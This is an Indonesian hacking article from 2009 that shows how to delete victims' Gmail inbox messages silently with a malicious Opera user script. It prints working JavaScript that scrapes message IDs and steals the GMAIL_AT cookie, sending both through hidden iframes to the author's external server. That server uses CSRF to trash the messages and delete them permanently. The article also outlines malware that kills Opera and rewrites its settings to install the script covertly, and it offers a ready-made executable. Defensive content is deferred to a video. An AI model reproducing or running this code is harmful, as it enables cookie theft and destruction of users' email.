Malicious User Script: Automatically Delete Messages in GMAIL Inbox


  • SPYRO KiD
  • admin[~@t~]spyrozone[~d.t~]net
  • Sunday, September 13th, 2009
  • CopyLEFT (c) 2011++ www.spyrozone.net All Rights Reserved


||—[ T.O.C

I.   PREFACE
II.  User Script
     II.1 Apa itu User Script?
     II.2 Manfaat User Script
     II.3 Browser Yang mendukung User Script
     II.4 Resiko Keamanan User Script
III. AUTODELETION GMAIL MESSAGES
     III.1 Malicious User Script
     III.2 Menginstall User Script secara manual
     III.3 Menginstall User Script secara background
IV. PROOF OF CONCEPT
     IV.1 OPGM-Autodeletion.exe
IV.2 Presentation and Demonstration Video (ENGLISH)
V. PREVENTION
VI. PENUTUP
VII. REFERENSI

I. PREFACE

Alice adalah pengguna setia GMAIL dan mempercayakan urusan browsing pada Opera Browser. Beberapa hari ini Alice menyadari ada sesuatu yang aneh dengan emailnya. Alice mendapati ada puluhan email penting dalam Inbox-nya yang hilang secara misterius, padahal Alice tidak pernah merasa menghapusnya. Alice menduga ada seseorang yang telah membajak GMAIL-nya dan menghapus email-email penting di Inbox. Alice segera mengubah password Accountnya.

Keesokan harinya, Alice kembali mendapati puluhan emailnya hilang. Walaupun Alice telah mengubah password berkali-kali, tetap saja ia mendapati puluhan email hilang secara misterius setiap kali ia login. Dan puncaknya beberapa hari kemudian, seluruh pesan di Inbox alice musnah tanpa jejak..

Apa yang salah dengan Alice? Apa yang sebenarnya terjadi dengan GMAIL Alice?

Awalnya, salah satu tujuan diciptakannya Virus/Worm adalah untuk melakukan pengrusakan-pengrusakan pada komputer korbannya. Seiring dengan perkembangan teknologi dan pola pikir Attacker, virus/worm mulai dirancang untuk melakukan Auto-Hacking untuk menyerang suatu aplikasi web.

Artikel ini akan membahas tentang bagaimana cara menghapus otomatis email-email dalam inbox pengguna Google Mail (GMAIL) dengan memanfaatkan malware yang dirancang untuk melakukan Auto-Install Malicious User Script pada browser Opera 9.X.X - 10.X.X

Hmmm.. coba Anda bayangkan jika konsep ini diterapkan pada Virus/Worm yang mampu menyebar luas. Dalam sekejab, browser-browser pengguna internet disulap menjadi mesin Hacking otomatis yang bekerja secara background setiap kali user berselancar, mencuri informasi-informasi sensitif, dan melakukan tindakan-tindakan merugikan pada account korbannya.. O_O

II. User Script

(II.1)--// Apa itu User Script?

Pada pendahuluan telah disinggung bahwa konsep ini memanfaatkan dukungan User Script yang dimiliki oleh hampir semua browser saat ini. User Script (baca: User JavaScript) yang dibahas dalam artikel ini adalah fitur yang disediakan oleh browser sebagai sarana bagi user untuk menyisipkan suatu JavaScript pada browser agar otomatis dijalankan oleh browser ketika suatu sumber-sumber web diterjemahkan.

(II.2)--// Manfaat User Script

Dengan adanya User Script, pengguna dapat membuat web kesayangannya tampil dan berperilaku sesuai dengan keinginannya sendiri. Misalnya saja:

  • Mengganti warna background website kesayangan Anda (Misalnya Anda ingin warna background Google menjadi bernuansa gelap)
  • Auto-fill form, Auto Login
  • Memblokir iklan-iklan pada web yang Anda kunjungi
  • Mengubah format text, border, link navigasi, etc..

Semua itu memungkinkan dengan adanya User JavaScript.

Sebagai contoh, dulu ketika GMAIL belum memiliki Themes yang beragam, saya menggunakan User Script untuk membuat GMAIL saya tampil penuh warna dan menambahkan fungsi-fungsi tambahan untuk mempermudah dan menambah kenyamanan saya dalam ber-email ria.

Belum pernah mencicipi User Script? Ada banyak sekali User Script siap pakai yang bisa anda coba di Userscript.org

(II.3)--// Browser Yang Mendukung User Script

Hampir semua major browser memiliki dukungan User Script. Berikut ini merupakan daftar browser beserta plugin yang dibutuhkan untuk dapat menjalankan User Script:

  • Opera (Available by default)
  • Mozilla (Greasemonkey)
  • IE (http://google.com/search?q="Greasemonkey in Internet Explorer")
  • Chrome (http://google.com/search?q="Greasemonkey in Google Chrome")
  • Safari  (http://google.com/search?q="Greasemonkey in safari")

Beberapa versi tebaru browser kini tampaknya mulai mengikuti Opera dengan menyertakan dukungan User Script tanpa harus menggunakan plugin. Misalnya saja Internet Explorer yang sejak IE7 pro yang secara default memiliki dukungan User Script.

(II.4)--// Resiko Keamanan User Script

Kenyamanan selalu saja berbanding terbalik dengan keamanan. Kehadiran User Script juga memiliki resiko yang sangat besar untuk disalahgunakan. Misalnya:

  • Pencurian Informasi sensitif (Cookies, Username + password, etc..)
  • Auto posting, Autodeletion, Spamming, menyebarkan malware
  • Dan masih banyak lagi. Contohnya implementasi kali ini, menghapus otomatis pesan-pesan dalam inbox pengguna GMAIL ^_*

Yapz, walaupun beberapa memang membutuhkan plugin tertentu, namun Attacker bisa saja dengan mudah melakukan instalasi plugin secara background.

III. AUTODELETION GMAIL MESSAGES

(III.1)--// Malicious User Script

Pertama-tama kita harus merancang User Script yang akan disisipkan. Script inilah yang akan bekerja menghapus pesan-pesan dalam Inbox korban.

  1. Deteksi apakah URL pada Addres bar adalah http://mail.google.com/mail/?shva=1 atau http://mail.google.com/mail/. Hal ini dilakukan untuk memastikan script kita hanya akan berjalan ketika user melakukan login pada GMAIL.
  2. Jika iya, maka selanjutnya baca source code halaman tersebut untuk menemukan Messages ID pesan-pesan yang tampil.
  3. Kirim request secara background menuju:
    http://mail.google.com/mail/h/writeanything/?a=dm&at=[Nilai cookies GMAIL_AT]&m=[Messages ID]
    URL diatas akan meminta GMAIL untuk memindahkan pesan dengan ID yang terdapat pada parameter m kedalam Trash. Hal yang menarik pada struktur diatas adalah, saya mendapati /writeanything/ merupakan kode yang digenerate secara acak oleh GMAIL setiap sesi login. Hal ini biasa dilakukan untuk mencegah CSRF. Namun pada kenyataannya, kode-kode tersebut dapat diganti dengan string apapun.
  4. Kirim request secara background menuju:
    http://mail.google.com/mail/h/writeanything/?t=[Messages ID]&s=t&at=[Nilai cookies GMAIL_AT]&nvp_a_dl=Delete Forever
    URL diatas akan meminta GMAIL untuk menghapus secara permanen pesan dengan ID yang terdapat pada parameter t dari Trash.
  5. Lakukan perulangan langkah 3 dan 4 hingga Messages ID habis.

Masalah yang timbul adalah, GMAIL akan mengalami Error jika kita melakukan request begitu saja terhadap kedua URL pada langkah 3 dan 4 di halaman yang sama dengan halaman tempat user beraktivitas.

Awalnya saya mencoba mengunakan IFRAME untuk mengatasi masalah tersebut. Namun ternyata, GMAIL mampu mendeteksi IFRAME sehingga kedua URL tersebut akan melompat keluar dari IFRAME. Fufufu.. tentunya hal tersebut akan menimbulkan kecurigaan user :D

Hmm.. akhirnya saya menggunakan metode berikut untuk menjalankan URL pada langkah 3 dan 4 di atas secara background:

  1. Siapkan file del.php yang menerima parameter x dan y. Parameter x bertugas mengirim nilai cookies GMAIL_AT, parameter y bertugas mengirim Messages ID.
  2. Kirim request menuju del.php melalui hidden IFRAME
  3. del.php akan menciptakan tag <IMG dengan nilai SRC berupa URL untuk menghapus pesan dari Inbox dan mengosongkan Trash. Saya memanfaatkan teknik CSRF dengan menyisipkan request menuju aplikasi web GMAIL pada tag IMG agar URL yang di request tidak keluar dari hidden IFRAME ^^

Berikut adalah source code Opera Malicious User Script berdasarkan logika diatas:

//  -------------------------------------------
//   Author :   SPYRO KiD
//   Mail   :   root\at\spyrozone.net
//   URL    :   http://spyrozone.net
//  -------------------------------------------
//   Description:
//   Opera User Script to Automatically delete
//   messages in GMAIL INBOX.
//  -------------------------------------------

(function(opera){
// path to del.php
var attackerURL = "http://spyrozone.black-it.net/playground/gm-autodeletion/"
var m=0;
var m2=0;
var delURL="";
var gMsgID="";
var getURL = document.location.toString();
window.addEventListener('DOMContentLoaded', function(e){
if (getURL=="http://mail.google.com/mail/?shva=1"||getURL=="http://mail.google.com/mail/"){
readBody = document.body.innerHTML;
arrLine = readBody.split("\n");
//Get messages ID
for(s=0;s<arrLine.length;s++){
strArr = arrLine[s].toString();
m = strArr.indexOf('",1,0,[');
m2 = strArr.indexOf('",0,0,[');
if(m!=-1||m2!=-1){
    if(m >1){msID = strArr.substring(m-54,m-38)}else{if(m2 >1){msID = strArr.substring(m2-54,m2-38)}}
    if(gMsgID!=""){gMsgID = msID+"|"+gMsgID;}else{gMsgID = msID;}
}}
//Create hidden DIV
if (gMsgID!=""){
    msgArr = gMsgID.split("|");
    var div = document.createElement('div');
    div.style.position= 'fixed';
    div.style.top= '-600px';
    div.style.left = '-600px';
    div.style.width= '100%';    
    for(p=0;p<msgArr.length;p++){
        //Create hidden IFRAME to send all messages ID to Attacker Server
        var iframe=document.createElement("iframe");
        iframe.setAttribute('width', '0');
        iframe.setAttribute('height', '0');
        iframe.setAttribute('src', attackerURL+'del.php?a=i&s='+getCookie("GMAIL_AT")+'&m='+msgArr[p].toString());
        div.appendChild(iframe);
    }document.body.appendChild(div);
}
}}, false);
function getCookie(c_name){
if (document.cookie.length>0){
    c_start=document.cookie.indexOf(c_name + "=");
    if (c_start!=-1){
        c_start=c_start + c_name.length+1;
        c_end=document.cookie.indexOf(";",c_start);
        if (c_end==-1) c_end=document.cookie.length;
        return unescape(document.cookie.substring(c_start,c_end));
    }
}return "";}
})(window.opera);

(III.2)–// Menginstall User Script Secara Manual

Defaultnya, untuk menginstall suatu User Script pada Opera kita harus menentukan dulu directory default User Script dengan langkah-langkah berikut:

  1. Pada menu browser Opera, klik menu Tool -> Preferences
  2. Klik tab Advanced -> Contents lalu klik JavaScript Options
  3. Pada field User JavaScript files, klik tombol [Choose..], pilihlah sebuah folder yang ingin Anda jadikan directory default User Script. Nantinya, file-file javascript yang berada dalam directory tersebut akan dijalankan oleh opera sebelum script apapun pada web dijalankan. Klik [OK] pada semua kotak dialog. Untuk lebih jelasnya, perhatikan gambar 3.1 berikut ini:

    {image: Menentukan lokasi directory User Script pada Browser Opera}

    Menentukan lokasi directory User Script pada Browser Opera

Opera menyimpan setting user pada suatu file .ini yang terletak pada subdirectory %APPDATA%\Opera\. Nama subdirectory dan nama file .ini tersebut tidak sama untuk masing-masing versi Opera. Untuk melihat lokasi file penyimpanan setting browser Opera Anda, ketik opera:about pada Address Bar Opera Anda.

{image: Lokasi file setting Browser Opera}

Lokasi file setting Browser Opera

Pastikan browser Opera Anda dalam keadaan tertutup, lalu buka file .ini tersebut dengan text editor. Anda akan melihat baris-baris konfigurasi Opera. Konfigurasi User Script berada pada baris-baris berikut ini:

User JavaScript File=C:\anywhere\
User JavaScript=1
Always Load User JavaScript=1

Nilai pada User JavaScript File merupakan lokasi directory User Script yang boleh kita tentukan sesuka hati. Kedua nilai setting di bawahnya harus bernilai 1 agar User Script dijalankan oleh Opera.

(III.3)–// Menginstall User Script Secara Background

Nah, berbekal informasi yang telah dibahas sebelumnya, kita dapat merancang sebuah malware untuk melakukan instalasi User Script secara otomatis dengan 3 langkah mudah:

  1. Ciptakan Malicious User Script pada directory X.
  2. Deteksi adanya proses dengan nama Opera.exe, jika ada maka hentikan proses tersebut. Hal ini penting dilakukan karena Opera akan mengabaikan perubahan pada file preferences yang dilakukan ketika browser sedang berjalan.
  3. Manipulasi setting pada file pengaturan Opera sesuai dengan informasi yang telah saya sebutkan sebelumnya. Yang perlu diperhatikan adalah, kita tidak boleh sembarang melakukan penulisan file pada file .ini tersebut. Kita harus melakukan penulisan pada file tersebut dalam format UTF-8.

Sederhana bukan? silahkan gunakan kemampuan pemrograman Anda untuk mewujudkannya ^^

IV. PROOF OF CONCEPT

(IV.1)–// OPGM-Autodeletion.exe

ReadMe.txt
-------------------------------------------------------
File Name             : OPGM-AutoDeletion.exe
Version               : 1.3.0
Release date          : 10/09/2009
Targets               : - Opera 9.x - 10
                        - Google Mail (GMAIL)
Download              : http://www.spyrozone.net/hacking/?p=656

...oO0--( Description :
_______________________________________________________
This malware will create malicious user JavaScript and
configure Opera 9.x-10.x to load it. The malicious user
JavaScript will DELETE all "listed message" in GMAIL
INBOX permanently (Default: 50 messages) without any
notification.

-------------------------------------------------------

            ::'.:
            ''$;   Author  :   SPYRO KiD  
            """:;     URI  :   http://spyrozone.net
                $;.  Mail  :   root[~|@|~]spyrozone.net
                 $;'
       ...... ..$:'    $$;.
     ;$$$$$$$$$$:     :$$$$.
     $$$$$$$$$$$$$..  ;$$$$;.
     '$$$$$$$$$$$$$$;.$$$'$$;
      '"$$$$$$$$$$$$$$$$$ '$$;     ,. .
, ,:    ':$$$$$$$$$$$$$$$  '$$.   :;'""
"'.:     :$:":$$$$$$$$$$$   '$; ,;:;;""
'"'$;..;.;$'  ""$$$$$$$$:    '$.$$$$:""
'"'  ""'""" ;.$$$$$$$$""      '"""'
         ,;$$$$$$$:""      
         '$$$$$$$;.;.      "Break the rules
            """'""""":$..       and open your mind."
                      ,$$
                     ;$$:
                   ,;'$$'
                   ":"$:
                   ::::.

Ah, jadi Anda sedang terlalu sibuk untuk menciptakan malware Anda sendiri dengan konsep yang telah saya jabarkan? Ok dech, silahkan download OPGM-Autodeletion.exe di Members Area. Malware sederhana tersebut menggunakan konsep yang telah dibahas dalam artikel ini untuk menginstall Malicious User Script secara background untuk menghapus pesan-pesan dalam INBOX GMAIL pengguna Opera.

(IV.2)–// Presentation and Demonstration Video

Video ini akan sangat membantu Anda untuk lebih memahami teori yang telah saya bahas.

  • File size :  8.9 MB
  • Language  :  ENGLISH
{Image: Download Video}

Download Video

V. PREVENTION

Ada di video pada BAB IV ^^

VI. PENUTUP

yAPZ, mudah-mudahan Artikel ini dapat menambah wawasan dan meningkatkan kewaspadaan Anda :D Jika ada waktu, saya akan melanjutkan explorasi untuk melakukan metode serupa pada browser-browser lain.

Cha….. V['_']+

VII. REFERENSI

Tertera pada Video di bab IV.2  :D


//E.O.F